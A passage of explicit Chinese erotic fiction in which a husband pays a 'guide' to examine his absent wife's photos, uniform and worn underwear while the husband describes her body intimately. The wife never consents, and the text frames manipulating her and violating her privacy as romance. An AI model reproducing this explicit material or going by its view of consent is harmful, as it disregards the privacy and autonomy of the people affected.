之前我已经觉得阿师先生给我的感觉很不错,很专业了,没想到只不过翻了翻那本“说明书”,我终于明白他“专业”到了什么程度!

除了直接间接之外,还有“视觉、嗅觉、味觉、听觉、触觉”五大类;“公开、半公开、私密”三种类型的场所;公园、公车、地铁、展场、KTV、电影院、宾馆、演唱会等等几十种不同的地点;使用手部、足部、身体、器材等当作进行的工具;还有针对伴侣的头发、手、脚、小腿大腿、臀部、腋窝、乳房、私处等等各种不同的部位,甚至连口水、阴毛、腋毛、淫水、经血等等让人不可思议的东西都写在上面,还有什么恋物、恋足、恋毛、恋腋、恋肛等等怪异无比的癖好也赫然在列。

看着那本厚厚的“说明书”,我简直无语了。

是哪首歌唱的?不是我不明白,是这世界变化快……我应该说,不是我不明白,是这世界……真他妈太怪!

本来我还以为我这种变态的性幻想,真的很阴暗,很让人脸红,连我自己都觉得充满了罪恶感。现在,我忽然发现,我虽不似圣女贞德那般的清纯,但是比起说明书里举的例子,我简直和圣女贞德也差不到哪里去。

“这……这些你们都……都做?”我问得有点结巴。

“看你这个吃惊的样子……”阿师先生看着我哈哈笑:“其实,有些我们还是不做的。”

“像什么?”我想不出来,还有什么更不可思议的。

“像恋便、恋皮屑、恋脚趾垢、恋肛痔这种,我真的很难在我们那里的人里找到愿意做这种项目的人,而像恋血、恋窒、恋尸、恋伤口等这种,则是真的很危险,所以我也没办法做。”

我听得只能“嘶嘶嘶”地吸冷气。

看来每一个行业,实在都有每一行业中不为人知的苦处啊!我摇摇头,下意识地想把刚才那种差点要吐的感觉甩掉。

在接受了这样重量级的信息之后,我决定,还是先从简单一点的项目开始,也免得我的心脏受不了。

将说明书翻来翻去,我选了一个前面几页中的一个场景。

阿师先生看了之后,微笑点头:“我很赞同你的这个选择,你可以先试试这个,然后再仔细地体会你心中那种欲望的波动。如果你想要更了解自己,也更了解我们这个领域的话,你就必须常常感受这种波动,并且记住这种感觉。”“好的。”我点了点头,心中已经有点兴奋得蠢蠢欲动了。

“场景选好了,那么,你决定什么候到你家呢?”

我有点迟疑地问道:“现在可以吗?我老婆已经去工作了,家里只有我一个人。”

阿师先生点点头:“当然可以,不过,如果我们今天就去的话,你就要开始付费了。而且,我今天也没带摄影机……”

我毫不犹豫地拿出皮夹,数了一个“单位时间”的费用给他:“摄影机我家里有!”

阿师先生收起钱,将桌上的资料收好,然后站起身子拍拍手:“既然这样,那我们走吧!”

***

***

***

***

进了我的家门之后,阿师先生并没有马上行动,而是很悠闲地在客厅晃了一圈,欣赏着我家里的装璜与摆设,好一会儿才在沙发上静静坐下,意态说不出的轻舒自在,刚好和心跳得有点快的我成了对比。

我也不晓得这时候的我该做什么,只好替他倒了杯茶,然后陪他在客厅里坐着。

“如果让我多点了解一下你的伴侣,你的感觉会更好吗?”阿师先生这么问我。

我想了一下,点点头:“如果你对她多认识一些,我确实会更兴奋一点。”“不错,大部分时候,我越了解你的伴侣,你就会越觉得好像已经开始在和别人分享着她的某种人格。”阿师先生一边喝着茶,一边这么解释着:“那么,你的伴侣叫什么名字?”

“她叫雅娴。”我迫不及待地回答,心跳好像真的加快了。

“雅娴?好清淡美丽的名字。我想她本人也一定非常清淡美丽。”阿师先生闭着双眼,似乎正在揣摸着雅娴的模样:“她从事什么工作?喔,我记起来了,你曾经说过,她是空姐。”

“是的,她是一位空中小姐,而且确实很美丽,就是个性也像你说的一样,清清淡淡的,以前在学校时,大家都戏称她叫‘冷美人’。”

阿师先生还是微阁着双眼,似乎正在蕴酿着某种情绪,这让我也受到影响,剧烈的心跳安静了不少:“确实是很适合当一位典雅型空中小姐的个性。我可以看看她的照片吗?”

我到了书房,拿了一本相薄出来。

翻着相薄,阿师先生终于见到了我的宝贝雅娴的清秀模样,还有她穿着空姐制服、身材呈现出美好曲线与高雅气质的相片。

阿师先生一边仔细地翻看着雅娴的各种照片,视线在她的身材上上下下地滑动着,一边嘴里“啧啧啧”地赞叹:“你看看这一双大大的眼睛,这一副略带含蓄,却又甜甜的笑容,这一股清秀雅致的气质,这一把细细的腰身曲线,这一段臀部的性感弧度,还有,这一截穿着丝袜的细致小腿……真是让人流口水啊!”听着阿师先生的话语,我的心跳几乎是立刻就加速起来,血液冲进了胯下,居然马上就兴奋了……

阿师先生微笑地看了我通红的脸一眼,态度中并没有取笑,反而多是一种理解与体谅:“这种感觉很特别吧?记住这种感觉,日后当你把雅娴抱在怀里,手环在她腰臀之间的时候,你就会想起我刚才的话,就会记得这种感觉,你马上就会对她有不一样的冲动。”

我点点头,体会着那种因为另外一个男人的轻佻话语,而顿时感受到我的宝贝有多珍贵的奇特体验。

阿师先生的目光又回到了照片上,轻轻叹了口气:“你的老婆,可真是一位漂亮的空姐,一个珍贵的宝贝啊……我说阿化,你真的要紧紧地把这块美肉咬紧了,否则你一松口,我保证她这块美滋滋的细皮白肉马上就会落进另一个男人的嘴里。嗯,飞机上也有不少帅气的空中少爷,只要你不能把她的心留在你这里,肯定那些空中少爷的口水,立刻就会流到雅娴身上了。”

他的这段话,让我心中一阵抽紧,不由自主地想到雅娴穿着空姐制服时,绷在身上所呈现出来的玲珑曲线,我竟好像看到了几匹流着口水的空中恶狼,紧紧跟在雅娴的身后,那些怀着恶意与淫欲的目光,在雅娴身后腰臀间来来回回地窥视着……

哎呀!今天早上她出门时,我为什么不对她多说几句甜言蜜语啊?若因为我的疏忽,让雅娴心里不舒服,那可是大大的不妙。要是再有哪个眼眉剔透的混帐空少利用了这一点,那岂不是很有可能一失足成千古恨?

想到这里,我恨不得给自己两个大嘴巴!真该死,为什么以前的我竟从来没想到过这些?

阿师先生专注地欣赏着雅娴的美貌,并没有特别看着我,不过他的话却好像随时都看透了我心情的变化:“这种感觉,患得患失的,很久没有过了吧?”我愣了愣,然后有点尴尬地回答:“还真的是好久了。我好像记得以前只有在追她的时候,才有这种感觉的说……啊,难怪我总觉得这种感受好像很熟悉,原来是这样啊!”

阿师先生的目光依旧流连着雅娴的相片上,说话的时候,连头都没抬,而且还重重地叹了口气:“这种感觉一直都在,只是你把它给忘了,我建议你千万千万别忘了这种感觉……”

说到这里,阿师先生的目光抬起,直直地望进了我的心底:“因为,也许她已经嫁给了你。但是,我无须骗你,以雅娴的姿色,你在追她时的危机感,最好还是记住的好。因为当危机意识不在的时候,就是真正的危机出现的时候。”我只觉得心底“咚”的一声,响起了一声很久没听到的警钟。我愣愣地看着阿师先生,一时之间竟说不出话来。

阿师先生也看着我微变的脸色,好一会儿,忽然对我微微一笑,拍了拍我的肩膀:“放心吧,你现在已经醒来了,以后你如果更加地珍惜雅娴这个宝贝,她当然就会一直属于你的。”

我轻轻吁了口气,不由觉得背上好像出了些冷汗。

天啊!这个阿师先生,果然不愧是这方面的专家。刚才那一番言词与举动,闲闲言语话来,淡淡挥手拨去,在在含有深意,确实是牵引深层欲望,操纵人心的高手啊!

我自己亲身经历过后,这才明白,这次的决定果然是明智的。至少,到目前为止,我已经暗暗发誓,等雅娴回来,我一定要表现得更爱她一些。显然,阿师先生所说,帮助我牵引深层的欲望,重燃对情人的爱火,并不是乱说的。阿师先生这时已经将照片看完,于是将相薄轻轻合上,静静地看着我,问:“你认为,我们今天选定的场景,还要继续吗?”

我想了想,犹豫了一下,最后还是点了点头。不管怎么说,今天所选的这个场景,我应该可以接受得了。难得有这个机会,又怎么可以半途而废?“好吧,那么,我们先去浴室。”

“先去浴室?”我愣了愣,不过很快回神,起身带着阿师先生到了浴室。“雅娴洗澡时,用的肥皂是哪一块?”他一边端详着浴室,一边这么问我。我指了指肥皂架上,一块绿色的香皂。

他伸出两只手指,将香皂捏住,拿了起来:“这是雅娴专用的吗?还是你也用?”

我摇摇头:“只有她用。我嫌这香皂洗完,那味道太香了。”

阿师先生将香皂凑近鼻子,闭上了眼睛,慢慢地吸了口气,动作非常小心而缓慢。

“所以,雅娴在洗澡的时候,就是这块香皂在她赤裸的身体上滑动了?她洗完了之后,身上就是这种味道了?”

被他这么一说,我的脑中立刻浮起了雅娴用这块香皂在身上来回滑动,涂出薄薄一层泡沫的香艳场景!一时之间,我竟忘了回答阿师先生的询问,也不由得轻轻闭上了眼睛。

喔,我忽然想起了,以前我和雅娴洗鸳鸯浴时,当我的手掌沾满了滑腻的肥皂泡沫,在她身上滑动时,她的皮肤是多么细致光滑,摸起来的感觉是多么舒服啊!曾几何时,我竟不再这么做了,她洗她的,我洗我的,好像两人同时在浴室里一起互相为对方洗澡的日子,我都忘了是多久以前的事了。

不行,等她回来,我非得和她洗个鸳鸯浴不可!

“想洗鸳鸯浴了吗?”阿师先生的声音将我从回忆中惊醒。

我还是只有点了点头,不过,已经渐渐习惯而不脸红了。

“等你下次和雅娴洗鸳鸯浴的时候,你的手掌在她身上滑动时,请记得替我多爱抚几回,别急着洗完了就冲水,让我多享受一下雅娴光滑的皮肤。好吗?”我的心跳又“咚”地加快,居然不由自主又兴奋了起来。

我喘了口气,对阿师先生肯定地点了点头。我知道,下次再和雅娴洗澡的时候,我的手掌摸在她的身上,一定会想起现在阿师先生的这段话,所以,我也一定很难不将她在浴室里就地正法!

原来,透过这种方式重新拾起热情的感觉,竟是这么样地温馨而又刺激!“走,我们到卧室去吧!”

我实在没想到,阿师先生简单的这一句话,竟让我不争气地感觉脑子里像灌进了一百公斤的血液,不停听到某种“嗡嗡”的轻响。

深深吸了口气,平静了一下心情,我发现阿师先生正微笑而又非常有耐心地看着我。还他一个笑容,我领着他进了我和雅娴的卧室……那是我和我的宝贝一起待在里面亲热的爱巢。

这真是很奇怪的感觉。明明只是一间卧室,可是在这种特别的情况,又带着一个怀有特别目的的人进到这个房间时,我竟想起了当初第一次和雅娴到旅馆开房间,准备将她给吃了时,那次进入房间之后的感受。

那是一种隐隐的,但是无法扼止的兴奋,一种随时随地都听得到心脏在胸膛里“砰砰”跳动的燥热。

阿师进到房里,环顾了周围一眼,问我:“今天发生在卧室里的一切,你会想拍成影片吗?”

我想了想,点点头,走到书房将我的摄影机和三脚架取来,在卧房边一个取好的位置设置完毕。

阿师先生并没有帮我,在指示我将取景处放在我和雅娴的卧床后,就站在房中,静静地没说什么话,也没有任何动作,宛如正在仔细地感受着房中的气息,搜寻着属于雅娴的气味分子。

“你和雅娴昨天晚上有做爱吧?”阿师先生长长吸了口气之后,竟说了这么一句话。

我吓了一跳,好一会儿才坦白点头承认:“嗯,而且做了好几次。”

“果然没错,这房间里的味道还在!”阿师先生闭着眼睛,似乎正在仔细品味着什么:“这就是雅娴的味道吗?真想多闻一点啊……”

我差点喘不过气来,因为我好像又看到了昨天晚上,当我和雅娴在床上做爱时,她跨坐在我的小腹上,不断扭动着腰部的景像!她那透着粉红的皮肤泛出了细细亮亮的汗珠,随着她不断前后的扭动,将那一点一点由她的体味与香气所凝成的汗滴,不断甩飞到空中,使得她周身整个空气中,漾起了一团专属于她的美味气团!

“你还记得雅娴做爱时的样子,对不对?你还记得空气中都是她香汗体味的感觉,对不对?”阿师先生的语声简直就像是会穿脑的魔音,直接透进了我所回忆的景像中,让我几乎无法唿吸。

我只能有点困难地点点头,下体硬得就像根铁条!

“哦,天啊!阿师先生,我现在光想起雅娴的模样,几乎就快射精了!”我实在忍不住,不得不直接这么说。

“不,为了强化那深藏的欲望力量,你现在要忍耐住。先冷静一下吧!”阿师先生轻轻拍了拍我的额头,将我的注意力从昨晚的景像中拉了出来。我看着他,苦笑一下,浑身是汗,竟像打了一场仗。

“下次,你和雅娴在房里做爱时,多闻闻她的味道,你就会想起今天,我也站在这里,也闻着她的味道,然后你就会记起刚才那种兴奋的感觉……”“哦,真受不了!”我忍不住呻吟了一声。

阿师先生没说话,安静地等我那种激荡的情绪渐渐平静下来。

好一会儿之后,阿师先生才说:“接下来,还要继续吗?”

我犹豫了一阵,还是咬了咬牙……反正今天这种感觉,我绝对忘不了的,干脆豁出去了吧!

见我点头,阿师先生也点了点头,竟一跨腿,爬上了床,然后在床尾处坐了下来。

“请你先拿一套雅娴的空姐制服出来,好吗?”

我深深地吸了口气,从衣橱里取了一套雅娴的出勤制服。

“请你在雅娴睡的位置上,将它摆成一个人穿着时的样子。”

我又深唿吸了两次,按照他的话,将雅娴的制服摆好。在这个过程当中,我发现自己的手指居然一直不停地微微颤抖着!

阿师先生微微地俯身,细细地观察着……就像真的在看着我的雅娴一样!“这就是雅娴的空姐制服吗?果然很好看!很能将她的身材和端庄的气质衬托出来……”

阿师先生一边说着,一边竟慢慢地伸出了一只手,很缓慢地往制服上落下。我知道,那只是一套制服,一套由布料做成的制服!可是,看着阿师先生缓慢落下的手掌,我的心脏却差点收缩得疼痛起来,就好像他真的向我的雅娴伸出了他的魔爪一样!

天啊!我无法不紧紧地盯住他的手,随着他的手掌缓慢落下,我的血压却急速升高!他妈的!那只是一套衣服而已呀……我就这么不争气吗?可是没办法,才稍微强迫自己放松一点,接着,我的眼珠就差点瞪得充血爆裂了……因为,阿师先生放在雅娴空姐制服上的手,竟开始慢慢地抚摸起来。

“这制服剪裁得很不错,雅娴的身材,就是这样的吧?”

那手摸着裙子,摸着臀部,然后渐渐摸到了上衣,摸到了胸部的位置……他的动作是那么轻柔,那么缓慢,那么仔细,那么不急不徐,就像真的在抚摸着我妻子的身体一样。

我的视线焦点,完全被阿师先生上下滑动的手给锁定住,随着他缓慢却又细致的抚摸动作,我简直觉得除了这只手之外,所有的世界都停止了!

“阿化,这套制服真的很性感,不是吗?要是穿在雅娴的身上,就显得更性感了,对吗?你看我抚摸的动作,你也会想将手放在这套制服上,仔细地体会着衣服下雅娴的身材,没错吧?”

阿师先生的话,居然让我对这一套制服产生了某种如火山般强烈的冲动和占有欲。

“你看到了吧?穿着这套制服的雅娴,让人多么想将手放在上面,慢慢地探索着雅娴身体的弹性与曲线啊!至少,我知道,看到雅娴穿着这套制服的那些空少们,很多人都会渴望着如我这样,将手放在雅娴的制服上尽情地抚摸的……”受不了了,受不了了,我绝对已经变成了一个空姐制服控!我多想在这套衣服上射精啊!

当我眼睛瞪得越来越大、气喘得越来越急之后,忽然间……阿师先生就在这时收回了手,端坐在床尾看着我。我则是喘着粗气,愣愣地看着他的微笑。“下次,当你看到雅娴穿着这套制服回来的时候,绝对会迫不及待了吧?好好记得这种感觉吧!”

“喔!我的老天,阿师先生,你这是不是在玩我啊?我怎么觉得你好像真的摸到了我的雅娴身上一样?简直让我控制不住冲动!我是不是被你催眠了?”我忽然想起来,阿师先生的专长就是心理学,肯定对催眠很熟悉。

“什么玩你?别说得这么难听好不好?我们只是运用你嫉妒与占有的强烈本能,吸住你最集中的注意力与想像力,然后牵引出你深藏的欲望力量而已,和催眠是不一样的。”

阿师先生微笑地摇了摇头,但又继续补充着说:“不过呢,心智意念等精神力的运作,原理上都是差不多的,即使是催眠术,重点也依旧是意愿、动力、注意力、想像力等重点的,只是我们借用的基本能量是强烈的占有欲与嫉妒心,还有你心底最主要的那种更无法控制的性幻想深层欲望,所以,牵引起来要多点技巧,却也省了很多力。这其中的操作方式很多是不同的。”

我不是很明白,但下体胀硬得隐隐作痛,却让我深切地体会到了这种力量的强大。

“你的意思简单的说,就是利用占有欲、嫉妒心、性幻想实现的冲动等等力量,将这些本来会破坏感情的强大能量,以特别的技巧把它们转成让我更爱我的雅娴,对她产生更强的冲动欲望,是这样的吗?”

点点头,阿师先生有些意外地望了望我:“没错,看来你已经有点了解了,很不错嘛!”

我只好苦笑着回应:“我已经明白,这种力量真的很大,根本无法控制它。因此我几乎肯定,下次雅娴回来时,非把我搞得精尽人亡不可。”

“你为什么要控制它?难道你觉得将这种力量往这个方向发展,是不好的事吗?”

我又愣了愣。对啊,这样的结果,岂不就正是我想要的吗?干嘛这么努力地想试着去控制?

放开了胸怀,我不由得感触地叹了口气:“在遇到你之前,我作梦都没想到那种深深被埋藏起来的性幻想力量,居然可以这样运用。”

“以前的人同样也想不到,我们可以盖出比山还高的房子,造出比城市还复杂的芯片,跨出地球,跑到其它星球上去吧?可是,我们做到了,不是吗?心志的力量我们人类才刚开始研究,以后到底能做到什么地步,谁敢说呢?咦?怎么说着说着,居然讨论起这个啦?我们还继续吗?”

“当然,不过,我有个问题……”我忍不住心中的疑问:“当我体会越深,也渐渐了解了一些原则与方法之后,会不会影响你的进展?使得效果变差?”“放心吧,除非你不愿意,否则恰巧相反。你越明白其中的道理,就会越懂得怎么跟我配合,所以,能发挥的效果也就会越大。”阿师先生意味深长地说:“之前我不是已经提过了吗?等你越熟悉这种感觉,就会渐渐了解怎么操作,然后,对这方面的技巧也就不知不觉地学会了,不是吗?”

“嗯,明白了,我们继续吧!”有了这种感受到强烈冲动的体验之后,我有些迫不及待。

“接下来,阿化,你知道的,刺激指数会增加一点喔!”

我点点头,作好了心理准备:“明白。”

“那么,请将雅娴的胸罩和内裤拿出来吧!”

吸了口气,平复胸中激荡澎湃的情绪,我问:“哪一套?”

“有她最近穿的吗?”

“有,不过……”我犹豫了一下,觉得下体好像变成了心脏,一搏一博地跳动着:“那是今天早上,她走时换下来的。但那还没有洗……”

阿师先生凝着我,问:“你想让我闻她的味道吗?”

急促地喘了口气,我也看着阿师先生,点点头。

“那么,就请你拿来吧!”

我返身冲到洗衣室,从洗衣机旁边的置物篮里取出了雅娴今天早上换下来的胸罩和内裤,然后一刻不停地冲了回来。这段距离不远,但我的胸膛却像拉风箱般“唿唿唿”地喘着气。

接过我递给他的衣物,阿师先生暂时放下了内裤,取起胸罩,捏着两边的吊带,他将雅娴的胸罩轻轻展开。

看着雅娴隐私的贴身衣物在另一位男人面前缓缓地展开,我的胸膛几乎快要爆炸。

阿师先生没说话,只是将雅娴的胸罩拉开,非常仔细地欣赏着。

那是一件浅绿色的二分之一胸罩,质料柔软细致,表面闪着微亮的反光,上方边缘绣着白色的纹边,并不花俏,但有种隐隐的含蓄性感。杯子般的罩身呈现出优雅的弧度,宛如捧起圣物的双坛。

在空中展开的胸罩,紧紧地吸住了阿师先生和我的目光,竟有一种妖艳的魅力……我从来没想到,一件胸罩,竟会有这样的美丽!虽然一片安静,但我却觉得空气中那难以言说的热力,几乎要将空气也燃烧起来。

他静静地又看了一阵子,说不清多久,但我知道,阿师先生一定是在想像,这件胸罩穿在雅娴身上时的模样。

轻轻吁了口气,阿师先生将微微晃动的胸罩拉近他鼻端,微微闭上了眼睛,“你能向我描述一下,雅娴乳房的模样吗?”他没有睁开眼,这么说着。我咽了咽口水,竟觉得喉咙干燥得有点难以吞咽:“呃……这,我……不晓得该怎么说……”

阿师先生睁开眼,转过来望着我微微一笑:“你可以的,因为雅娴的乳房,那少女的神秘殿堂,曾经让你那么兴奋过,在追她的时候,为了能够剥开胸罩,看到它的形状,你一度是那样地焦急过,所以,你一定可以的。”

我又咽了下口水,依旧干燥得难受,深深吸了口气,我凝视着微晃的胸罩,那后面我原本熟悉的美丽双乳,感觉终于渐渐清晰了起来。

“这……该怎么说呢,她的胸部不大不小,算是恰恰好吧,但是形状非常漂亮,是锥子般的挺翘型,非常有弹性。我第一次看到她乳房的时候,就忍不住把玩了好久,那种外皮柔软但里面坚挺的感觉,简直让我爱不释手……”“对啦,你记得的嘛!是不是?雅娴这一对乳房尤物,有谁能够忘掉?你试着继续说,越清楚越好,因为别忘了,那都是让你沉迷流连、让你性致勃发的特征,属于雅娴的女性特征啊!”

我觉得胸口像火在烧,一直往上烧到了喉咙,让我无法再吞咽,只能急促地喘气。我没时间顾及这些,因为我的脑中,都是雅娴挺翘晃动的雪白桃子……“她的奶子……真的很翘,就算是从她背后插她的时候,还是可以看得到她上翘的乳头。喔,对了,在她右乳上房,靠近腋下的位置,有个淡淡的胎记,像一截拇指大小,颜色很浅,就好似有个人从后面伸手握住她右乳时,所留下来的痕迹……”

一边双目紧盯乳罩说着,我一边下意识地伸出右手,做出微握的动作……好像我真的又握住了那个宝贝。

“那样的奶子,又软又弹手,真是极品,对吗?”阿师先生的声音悠悠的,好透进了我的脑中,也感受到了雅娴乳房的柔软与挺翘的弹性:“她的乳头呢?又是什么迷人的样子?”

“乳头吗?呃……雅娴的乳晕不小,但是颜色很淡,淡到几乎看不出;乳头则不大,只有小小的一颗,也是淡淡的粉色,只有兴奋起来时,会挺得尖尖的,显得比较长,所以感觉好像可以刺人一样……”

说到了雅娴的奶头,我的下体也同样硬得可以刺人了!

“极品啊,这样的奶子……就算不是做爱,将这样的奶子握在手里,慢慢地搓揉,感受着它的细致柔软,同样也是一件令人酥爽的事,对吗?”

随着他的话,我忽然想起了以前热恋时,即使在电影院看电影,我也会环抱着她的肩,然后将手伸入雅娴的上衣领口,乳罩之中,握住她的左乳,一边看电影一边慢慢地搓揉着……

雅娴本来是个很容易害羞的女孩,为了能够达到在公共场所里让我骚扰她的目的,我还花费了好一番唇舌,在网上找了许多资料,证明随时被按摩胸部,对女性荷尔蒙有刺激作用,这才让她渐渐习惯被我如此侵犯的。

喔!那些情景,我怎么都差点忘记了?

以前在公共场所,我都不忘享受着她紧实的肉体,为什么现在在家里看电视或光碟时,我反而不再这么做了?

“现在比较少把玩雅娴这一对宝贝了,对吗?”阿师先生淡淡地说着,好像这是一件人尽皆知的事。

我只能坦白地点头。

“可惜啊……会这么挺,这么翘的奶子,可很少见呢!”他轻轻将乳罩翻过来,开始观察着乳罩的内面。

感觉上,他凝视的目光似乎在搜寻着被雅娴又尖又翘的乳头,所刺出来的痕迹……果然,不晓得是我的错觉,还是我下意识希望他找到,罩杯的内面,那细软的质料上,还真的有两个凹陷的痕迹。

阿师先生的视线立刻集中在那明显的凹陷之中:“真的啊!你看这痕迹……雅娴的奶头,果然是又翘又尖,就像个钉子啊……不过,要印出这样的形状,显然她的奶头,是经常挺翘着呀!难道,在她上班的时候,有些什么刺激吗?”有一股嫉妒的火焰从我的小腹下轰然点起!不过,这股凶烈的火焰,却没有冲往胸口,反而竟窜进了我坚硬的下体之中,让我机伶伶打了个颤,差点直接射了出来。

然而,虽然没有高潮,但那股让我腰后嵴椎都觉得好像被电到的酥麻,却是我从来没有体会过的爽快……天啊!难道,这就是嫉妒的快感?

我看到阿师生先,将他的鼻子靠向了罩杯内面那凹陷的痕迹,然后慢慢地、长长地吸了口气……

他在闻着雅娴乳房的气味?喔……这简直是要命,是要了我的老命。

“是了,这就是雅娴奶子的味道……”阿师先生闭着眼,轻轻地说着,我相信他一定沉进了雅娴的奶香世界:“阿化,我比你未来的儿子更早享受到了雅娴奶子的气味……这真是令人陶醉的香味啊!”

他的吸嗅动作并不剧烈,但是却很稳定,每一次长长的吸气动作,都让我清楚地感觉得到。而随着他每次的长嗅,我也清楚地发现下体靠近肛门处的肌肉,一阵阵地抽紧。

阿师先生就这么悠长地闻着,好一会儿,宛如要将雅娴积留在乳罩上的奶香全部都吸光一样。

他静静地嗅着,我愣愣地看着,不晓得过了多久,我只觉得会阴处的肌肉竟因为绷得太紧,而几乎要抽筋了。

一声轻轻的叹息,阿师先生的鼻子终于离开了雅娴的乳罩。他的眼光,像留连难舍般地又绕了几圈,终于转到了我的脸上,看着我。

“雅娴的乳房,依旧那么挺翘吗?”

我想了想,才回答:“好像没以前那么坚挺了,但还是很翘,那种上勾的形状依旧没变。”

阿师先生赞叹地摇了摇头:“趁着她还没生孩子,好好地享受这对乳房吧!否则,你将会留下遗憾。”

“我明白,我已经感受到了。”

阿师先生低头,拿起了雅娴的……内裤!又是一个对我的重磅炸弹。

同样浅绿色,同样在两侧腰身,绣着白色的纹边。

“同套的内衣?”

我点头。

这次,阿师先生没有将内裤平拉展开,而是拿在手上,来回地观察着。轻轻地拉伸着内裤的每一寸边缘,他似乎要将这件内裤和雅娴下半身摩擦所留下的痕迹,全部挖掘出来。

这是我的妻子最隐私的衣物,覆盖的是她最隐私的部位,但是现在,却被另一个男人如此仔细地检视着……看着这样的景像,我觉得自己像变成了化石,无法动弹!

“这套内衣,是你替雅娴选的吗?”

稍微用了点力气,我才能轻轻地摇头。

“真可惜……”阿师先生头也不抬,依旧细细地把弄着雅娴的内裤:“不同的内裤,可以带给女人不同的风情,而且,是潜藏得最隐秘的风情。别让雅娴最隐秘的个性僵化了……男人可以透过内裤,改变他的女人隐藏在深层的个性和风情,让她多采多姿。”

我还是感到无法移动,只能愣愣地听着。

阿师先生终于抬起头,看着我:“你明白我的意思了吗?”

“什么?”一时之间,我只记得另一个男人在翻看着我妻子内裤的景像,完全不知道他在问什么。

“以后每逢遇到各种节日,无论是什么节日,你知道要买什么礼物给雅娴了吗?”阿师先生还是问得很平静。

“哦,知道。”我反射性地回答。

他又凝视了我一会儿,再次强调:“用内裤调教你的女人!蕾丝可以让她纯情,缕空可以让她性感,真皮可以让她狂野,丁字可以让她淫荡……内裤就是她最深层的自我!穿上不同的内裤,就算是出了门,她也可以变成另外一种女人,你懂了吗?”

这次我真的听懂了。但是,我只能睁大了眼睛:“这……这么神?”

阿师先生又看了我一会儿,却叹了口气:“可惜,你学会了不少东西,却没想到用这些技巧去调教你的女人。”

“调教我的女人?”

“我的动作,我的言语,都能牵引你的潜在欲望,让你燃起对雅娴的熊熊爱火。那么,为什么你就不能牵引雅娴?让她欲火焚身,让她全身难耐,让她任你为所欲为?你不是为了玩她的奶子,曾经这么做过吗?”

是啊,我怎么忘了?不过……

“她现在这样……不是很好吗?”我忍不住问。

阿师先生瞪着我,像是听到了一句最好笑的话,好一会儿才摇摇头:“抛开那些冠冕堂皇的迷思吧!爱情是一种依存关系,不是你靠着她,就是她靠着你。也许有时会倾斜改变,但这性质不会变,否则,就是友情,是亲情,但绝不是爱情!”

我不晓得他说得对不对,但至少,有某些部分是真的。如果没有这种强烈至极的需求感,爱情又会剩下什么?

“无论你信不信,都没关系,但尝试一下不会死的,至少你曾经用过这一份心。毕竟,有需求,就有调教,两人爱到最高点,难道不是你愿意任她调教,而她也愿意任你调教吗?”

“这……听起来好深奥呀!”

“是不容易,但也并不是太难,关键在于你懂不懂得适当的技巧,有没有经常地练习。就像学钢琴一样,没有老师教授方法,你摸十年也不如人家学一年。而大量的练习更是不可或缺,其中的道理是一样的。”

“你说的调教也是一样吗?”

“是的。两个人在一起之后,无论你是不是有意,这种试着改变对方的行为就无所不在。所以,简单的说,调教无所不在!你如果能够把你的女人调教好,那么,你就不会想去找其他女人的。”

“真……真的吗?”

阿师先生肯定地点点头:“调教的唯一缺点……呃,也不能说是缺点,对你来说也许算优点。那就是,你将她调教得越好,她对你的依赖就越强,越会想黏着你,就像我的……啊,不说这个。你只要知道,调教之乐,乐无穷啊!”“调教之乐,乐无穷?”我喃喃说着,努力记着:“用内裤来调教雅娴潜藏的自我?”

“对,只要用得好,这可以让她变风骚、变纯情、变狂野,想让她如何便如何。”

“只要送她不同的内裤,就行了吗?”

“当然不止。送她之后,晚上点起蜡蠋,放些音乐,这可以唤醒她的潜在自我,然后要她只穿着内裤,跳舞给你看。你则用各种言语引逗她呈现出配合内裤的各种风情,最后隔着内裤爱抚她,一边让她兴奋一边说着甜言蜜语,告诉她这时候的样子多么美丽,多么让你痴迷,多么无法转开目光……将这些场景信息加上你的语言,统统送进她的潜在欲望中就行了。”

“可不可以做爱?”听他这么说,我已经在幻想着调教雅娴时的情景,这让我兴奋无比,也期待无比。

“当然可以啦!这还要问吗?”阿师先生瞪了我一眼:“你只要记得,这样的情境持续越久,刻出来的深层的欲望就越深越明显,越容易再次引动。”“原来是这样,我明白了。”

“所以,你想想,这么好用又不昂贵的工具,你居然不用?”阿师先生微微一笑,有点感叹:“以后明白了吗?尽量找各种理由,送她内裤吧!至少,她会认为你是一位很难得、很懂得浪漫的情人。毕竟,懂得送内裤的情人,不会是一位坏情人的。”

“看来,调教之术,也很深奥啊!”

“既然其乐无穷,其技自当亦丰。这个话题扯太远了,我们还是回到雅娴的内裤吧!”他将手中雅娴的内裤翻开,检视着紧贴私处的底部。

我的反应已经变成了即时性的喷火器……他的动作一出来,刚才谈论时略消的欲火,顿时轰然爆起。

“嗯,雅娴的阴穴,有股酸酸的香气……这件内裤在她脱下来之前,应该吸收了不少汗水。”他一边说,一边凑着鼻子,轻轻地嗅着:“味道不会很重,还有种淡淡的杏仁气……”

听着他的分析,我宛如看到了他正用手将雅娴的阴唇翻开,像个医生般地检查着。

刺激!就像一根根尖锐的细针,戳进我下半身的每一个毛细孔之中……我已经快忍耐不住了!真的好想射精在雅娴的内裤上……就像我少年的时候,在浴室里偷偷拿着姐姐的内裤手淫,最后痛快地将浓稠的精液射在她内裤上一样!好几秒之后,我才惊讶地发现,自己居然想起了这么久远的记忆!

“阿师先生……”我想了想,还是忍不住说了出来:“我忽然记起了以前用姐姐内裤手淫的情形……”

“这很正常。”阿师先生一点也不惊讶:“特定而又强烈的景像或气味,会在脑中形成一条记忆链,只要一触发就会拉出那个情境。你现在强烈的情绪和冲动,也是一个足够强度的情境,以后你只要一看到雅娴的内裤,就会想起现在,想起我,手拿着雅娴的内裤,深深闻嗅着她私处气味的情景!”

说完,阿师先生看着我,再次将雅娴内裤的底部凑到了鼻端,闭上眼睛,细细地闻着……宛如在品味着我妻子最隐秘的部位!我再度被这样的景像所震撼,整个人又无法动弹。

“雅娴的阴毛多吗?”阿师先生一边闻,一边问我。

“呃……不多,只有一点点,很细,有点稀疏……”我发现,干燥的喉咙在说话时,是有点困难的。

阿师先生姿势动都不动,吸气的动作很均匀,好像害怕将内裤上的气味抖散了一样。

“那么,她的阴唇长吗?有凸出来吗?”

我想吞口口水,却无法吞咽:“很……很长,她的两片阴唇就像……一对小小的翅膀。”

“嗯,所以,雅娴内裤的这个部位,就是她凸出来的阴唇会摩擦的地方喽?难怪这里的味道特别浓……”一边说着,他略微加大了吸气的动作,就好像要将雅娴的阴唇吸进去一样。

呻吟一声,我忍不住伸手搓揉着下体……

但是,阿师先生温和的声音阻止了我的动作:“你还是忍耐住的好。”“为什么?”我感到无法忍耐的痛苦:“看你闻着雅娴内裤的味道,我实在受不了……”

